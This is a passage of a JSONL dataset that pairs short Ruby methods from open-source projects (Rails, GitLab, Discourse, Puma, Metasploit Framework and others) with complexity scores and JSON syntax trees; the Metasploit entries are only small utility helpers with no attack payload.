end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"repository_cleanup_failure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"emails_disabled?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mailer\"]},\"send\",{\"type\":\"sym\",\"children\":[\"repository_cleanup_failure_email\"]},{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]},\"deliver_later\"]}]}]}","id":"7193f873-1d10-4cb8-8362-e02e75777a2f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/authentication.rb","start_line":118,"raw_source":"def validation_failed(status = :unreachable, message = nil)\n    message ||= ERRORS[status]\n    _log.warn(\"[#{resource_type}] [#{resource_id}], previously valid on: #{last_valid_on}, previous status: [#{self.status}]\")\n    update(:status => status.to_s.capitalize, :status_details => message.to_s.truncate(200), :last_invalid_on => Time.now.utc)\n    raise_event(status, message)\n  end","complexity_score":21.15,"ast_json":"{\"type\":\"def\",\"children\":[\"validation_failed\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"status\",{\"type\":\"sym\",\"children\":[\"unreachable\"]}]},{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERRORS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_type\"]}]},{\"type\":\"str\",\"children\":[\"] [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_id\"]}]},{\"type\":\"str\",\"children\":[\"], previously valid on: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_valid_on\"]}]},{\"type\":\"str\",\"children\":[\", previous status: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"status\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"to_s\"]},\"capitalize\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_details\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"to_s\"]},\"truncate\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_invalid_on\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise_event\",{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"70836b68-a0d9-40f3-b7ca-b91283b3e038"}
{"repo_name":"discourse","file_path":"./repos/discourse/config/initializers/000-trace_pg_connections.rb","start_line":22,"raw_source":"def initialize(*args)\n        super(*args).tap do\n          next if ENV[\"TRACE_PG_CONNECTIONS\"] == \"SIDEKIQ\" && !Sidekiq.server?\n          FileUtils.mkdir_p(TRACE_DIR)\n          @trace_filename = \"#{TRACE_DIR}/#{Process.pid}_#{self.object_id}.txt\"\n          trace File.new(@trace_filename, \"w\")\n        end\n        @access_log_mutex = Mutex.new\n        @accessor_thread = nil\n      end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TRACE_PG_CONNECTIONS\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"SIDEKIQ\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"server?\"]},\"!\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"const\",\"children\":[null,\"TRACE_DIR\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@trace_filename\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TRACE_DIR\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"object_id\"]}]},{\"type\":\"str\",\"children\":[\".txt\"]}]}]},{\"type\":\"send\",\"children\":[null,\"trace\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@trace_filename\"]},{\"type\":\"str\",\"children\":[\"w\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@access_log_mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@accessor_thread\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"8ea261eb-a911-4226-909e-a61891c0983b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/i18n_test.rb","start_line":37,"raw_source":"def test_translated_model_names_with_sti\n    I18n.backend.store_translations \"en\", activerecord: { models: { reply: \"reply model\" } }\n    assert_equal \"reply model\", Reply.model_name.human\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_translated_model_names_with_sti\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"backend\"]},\"store_translations\",{\"type\":\"str\",\"children\":[\"en\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"activerecord\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"models\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reply\"]},{\"type\":\"str\",\"children\":[\"reply model\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"reply model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reply\"]},\"model_name\"]},\"human\"]}]}]}]}","id":"681b541c-f0fb-42f8-ae53-adc4e70aedc7"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/launcher/bundle_pruner.rb","start_line":91,"raw_source":"def spec_for_gem(gem_name)\n        Bundler.rubygems.loaded_specs(gem_name)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"spec_for_gem\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gem_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bundler\"]},\"rubygems\"]},\"loaded_specs\",{\"type\":\"lvar\",\"children\":[\"gem_name\"]}]}]}","id":"932ef864-a8d6-477a-93c9-28b23600c608"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/hook_data/project_builder.rb","start_line":24,"raw_source":"def build(event, include_deprecated_owner: false)\n        [\n          event_data(event),\n          timestamps_data,\n          project_data(include_deprecated_owner: include_deprecated_owner),\n          event_specific_project_data(event)\n        ].reduce(:merge)\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"kwoptarg\",\"children\":[\"include_deprecated_owner\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_data\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"timestamps_data\"]},{\"type\":\"send\",\"children\":[null,\"project_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_deprecated_owner\"]},{\"type\":\"lvar\",\"children\":[\"include_deprecated_owner\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"event_specific_project_data\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]},\"reduce\",{\"type\":\"sym\",\"children\":[\"merge\"]}]}]}","id":"60f2634d-fa77-40bd-b669-d828dcde71f4"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/admin/custom_actions/form.rb","start_line":71,"raw_source":"def expect_action(name, value)\n          value = \"\" if value.nil?\n\n          within \"#custom-actions-form--actions\" do\n            if value.is_a?(Array)\n              value.each { |name| expect_selected_option(name.to_s) }\n            else\n              element = find(\"input[name='custom_action[actions][#{name}]']\", visible: :all)\n              expect(element.value).to eq value.to_s\n            end\n          end\n        end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"str\",\"children\":[\"#custom-actions-form--actions\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"expect_selected_option\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"element\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"input[name='custom_action[actions][\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"]']\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"sym\",\"children\":[\"all\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"value\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]}]}]}]}]}]}","id":"3b6fe322-ef0c-48a1-9a8c-e7b69084d3df"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/muut.rb","start_line":171,"raw_source":"def file_full_path(relpath)\n    File.join JSON_FILES_DIR, relpath.split(\"?\").first\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"file_full_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relpath\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[null,\"JSON_FILES_DIR\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relpath\"]},\"split\",{\"type\":\"str\",\"children\":[\"?\"]}]},\"first\"]}]}]}","id":"cdbfed89-db31-4df5-8ff0-c2eb0a451538"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/snippets_finder.rb","start_line":149,"raw_source":"def personal_snippets\n    snippets_for_author_or_visible_to_user.only_personal_snippets\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"personal_snippets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippets_for_author_or_visible_to_user\"]},\"only_personal_snippets\"]}]}","id":"08a3c98e-fb46-4ff5-9716-c6d7fa927e27"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":1440,"raw_source":"def test_minimal_rails_app_with_no_skip_intermediary_implied_option\n    generator([destination_root], [\"--minimal\", \"--no-skip-active-storage\"])\n\n    assert_not_option :skip_active_storage\n    assert_not_option :skip_active_job\n    assert_option :skip_action_text\n    assert_option :skip_action_mailbox\n    assert_option :skip_action_mailer\n    assert_option :minimal\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_minimal_rails_app_with_no_skip_intermediary_implied_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"--minimal\"]},{\"type\":\"str\",\"children\":[\"--no-skip-active-storage\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_option\",{\"type\":\"sym\",\"children\":[\"skip_active_storage\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_option\",{\"type\":\"sym\",\"children\":[\"skip_active_job\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_option\",{\"type\":\"sym\",\"children\":[\"skip_action_text\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_option\",{\"type\":\"sym\",\"children\":[\"skip_action_mailbox\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_option\",{\"type\":\"sym\",\"children\":[\"skip_action_mailer\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_option\",{\"type\":\"sym\",\"children\":[\"minimal\"]}]}]}]}","id":"5c0a39f3-bda2-4492-8966-94e939311a65"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/base.rb","start_line":271,"raw_source":"def finished_request_message\n          'Finished \"%s\"%s for %s at %s' % [\n            request.filtered_path,\n            websocket.possible? ? \" [WebSocket]\" : \"[non-WebSocket]\",\n            request.ip,\n            Time.now.to_s ]\n        end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"finished_request_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Finished \\\"%s\\\"%s for %s at %s\"]},\"%\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"filtered_path\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"websocket\"]},\"possible?\"]},{\"type\":\"str\",\"children\":[\" [WebSocket]\"]},{\"type\":\"str\",\"children\":[\"[non-WebSocket]\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_s\"]}]}]}]}","id":"8cce0eb8-1b80-4a2b-a4c8-90c111352874"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/notify_preview.rb","start_line":199,"raw_source":"def changed_milestone_merge_request_email\n    Notify.changed_milestone_merge_request_email(user.id, merge_request.id, milestone, user.id)\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"changed_milestone_merge_request_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notify\"]},\"changed_milestone_merge_request_email\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"id\"]},{\"type\":\"send\",\"children\":[null,\"milestone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}","id":"eb83b68c-36d1-4ca5-b6c7-d7b0c713515b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user_updater.rb","start_line":332,"raw_source":"def updated_associated_accounts(associations)\n    associations.each do |association|\n      user_associated_account =\n        UserAssociatedAccount.find_or_initialize_by(\n          user_id: user.id,\n          provider_name: association[:provider_name],\n        )\n      if association[:provider_uid].present?\n        user_associated_account.update!(provider_uid: association[:provider_uid])\n      else\n        user_associated_account.destroy!\n      end\n    end\n  end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"updated_associated_accounts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"associations\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"associations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"association\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_associated_account\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAssociatedAccount\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider_name\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider_uid\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_associated_account\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider_uid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider_uid\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_associated_account\"]},\"destroy!\"]}]}]}]}]}","id":"53bfa6d1-6765-49c7-ab8b-a9fab0d37322"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/cmd_stager.rb","start_line":202,"raw_source":"def opts_with_decoder(opts = {})\n    return opts if opts.include?(:decoder)\n    return opts.merge(:decoder => decoder) if decoder\n    opts\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"opts_with_decoder\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"decoder\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"decoder\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"decoder\"]},{\"type\":\"send\",\"children\":[null,\"decoder\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"9a4d1470-e017-4779-b2bd-432f60d93947"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket/representation/issue.rb","start_line":40,"raw_source":"def created_at\n        raw['created_on']\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"created_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_on\"]}]}]}","id":"2a00a627-89e8-490d-a2ec-0c6bf4f8d87a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb","start_line":175,"raw_source":"def random_non_ascii_string(count)\n    result = \"\"\n    count.times do\n      result << (rand(128) + 128).chr\n    end\n    result\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"random_non_ascii_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[128]}]},\"+\",{\"type\":\"int\",\"children\":[128]}]}]},\"chr\"]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"2cc2811c-eee5-4ef5-b18e-4005a34bb5a9"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20200527161505_create_path_redirect.rb","start_line":2,"raw_source":"def change\n    create_table :path_redirects do |t|\n      t.string :old_path, null: false\n      t.string :new_path, null: false\n      t.string :source, null: true\n      t.integer :version, null: false, default: 0\n      t.timestamps null: false\n    end\n\n    add_index :path_redirects, :old_path, unique: true\n    add_index :path_redirects, :new_path\n    add_index :path_redirects, :version\n    add_index :path_redirects, :source\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"path_redirects\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"old_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"new_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"path_redirects\"]},{\"type\":\"sym\",\"children\":[\"old_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"path_redirects\"]},{\"type\":\"sym\",\"children\":[\"new_path\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"path_redirects\"]},{\"type\":\"sym\",\"children\":[\"version\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"path_redirects\"]},{\"type\":\"sym\",\"children\":[\"source\"]}]}]}]}","id":"19d670a8-ee7c-4abe-bdbd-416f5137e353"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_pumactl.rb","start_line":290,"raw_source":"def test_control_ipv6\n    port = UniquePort.call '::1'\n    url = \"tcp://[::1]:#{port}\"\n\n    opts = [\n      \"--control-url\", url,\n      \"--control-token\", \"ctrl\",\n      \"--config-file\", \"test/config/app.rb\"\n    ]\n\n    control_cli = Puma::ControlCLI.new (opts + [\"start\"]), @ready, @ready\n    t = Thread.new do\n      control_cli.run\n    end\n\n    wait_booted\n\n    assert_command_cli_output opts + [\"status\"], \"Puma is started\"\n    assert_command_cli_output opts + [\"stop\"], \"Command stop sent success\"\n\n    assert_kind_of Thread, t.join, \"server didn't stop\"\n  end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_control_ipv6\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UniquePort\"]},\"call\",{\"type\":\"str\",\"children\":[\"::1\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tcp://[::1]:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"--control-url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"--control-token\"]},{\"type\":\"str\",\"children\":[\"ctrl\"]},{\"type\":\"str\",\"children\":[\"--config-file\"]},{\"type\":\"str\",\"children\":[\"test/config/app.rb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"control_cli\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"ControlCLI\"]},\"new\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"start\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@ready\"]},{\"type\":\"ivar\",\"children\":[\"@ready\"]}]}]